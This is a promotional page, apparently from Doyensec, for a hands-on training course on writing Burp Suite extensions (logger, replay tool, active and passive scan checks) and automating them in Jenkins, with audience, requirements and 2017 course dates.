<p>Based on this premise, we have created a brand-new class taking advantage of <a href="https://portswigger.net/burp/">Burp Suite</a> - the de-facto standard for web application security. In just eight hours, we show you how to use Burp Suite’s extension capabilities and unleash the power of the tool to improve efficiency and effectiveness during security audits.</p>
<p>After a quick intro to Burp and its extension APIs, we work on setting up an optimal development environment enabling fast coding and debugging. While we develop our code using Oracle’s Netbeans, we also provide templates for IntelliJ IDEA and Eclipse.</p>
<p>We will create many different types of plugins:</p>
<ul>
<li><em>Extension #1</em>: A custom logger to provide persistency and data export functionalities</li>
<li><em>Extension #2</em>: A simple (and yet useful) replay tool</li>
<li><em>Extension #3</em>: Active check for Burp’s scanning engine</li>
<li><em>Extension #4</em>: Passive check for Burp’s scanning engine</li>
</ul>
<p>Finally, we leverage our extensions to build a security automation toolchain integrated in a CI environment (Jenkins). This workshop is based on real-life use cases where the combination of custom checks and automation can help uncovering nasty security vulnerabilities.</p>
<p>All templates and code-complete Burp Suite extensions will be available for free on <a href="https://github.com/doyensec/burpdeveltraining">Doyensec’s Github</a>. If you are curious, we’ve already uploaded the first three modules.</p>
<h3 id="audience">Audience</h3>
<p>The training is suitable for both web application security specialists and developers. Attendees are expected to have rudimental understanding of Burp Suite as well as basic object-oriented programming experience (Burp extensions will be developed in Java).</p>
<h3 id="requirements">Requirements</h3>
<p>Attendees should bring their own laptop with the latest Java as well as their favourite IDE installed.</p>
<h3 id="upcoming-dates">Upcoming dates</h3>
<table>
<thead>
<tr>
<th>Location</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Heidelberg<br />(Germany)</td>
<td>March 21, 2017</td>
<td>Delivered during <a href="https://www.troopers.de/events/troopers17/720_developing_burp_suite_extensions_-_from_manual_testing_to_security_automation/">Troopers 2017 security conference</a>. There are still seats available. <b>Book it today and get Burp swag during the training!</b></td>
</tr>
<tr>
<td>Warsaw<br />(Poland)</td>
<td>June 5, 2017</td>
<td>Come for <a href="http://warcon.pl/">WarCon invite-only conference</a>, stay for the training!<br />For registration, please contact <a href="mailto:info@doyensec.com">info@doyensec.com</a> with subject line "Burp Training Post-WarCon".</td>
</tr>
</tbody>
</table>
<h3 id="private-training">Private training</h3>
<p>This training is delivered worldwide (English language) during both public and private events. Considering that the class is hands-on, we are able to accept up to 15 attendees. Video recording available on request.</p>
<p>Feel free to contact us at <a href="mailto:info@doyensec.com">info@doyensec.com</a> for scheduling your class!</p>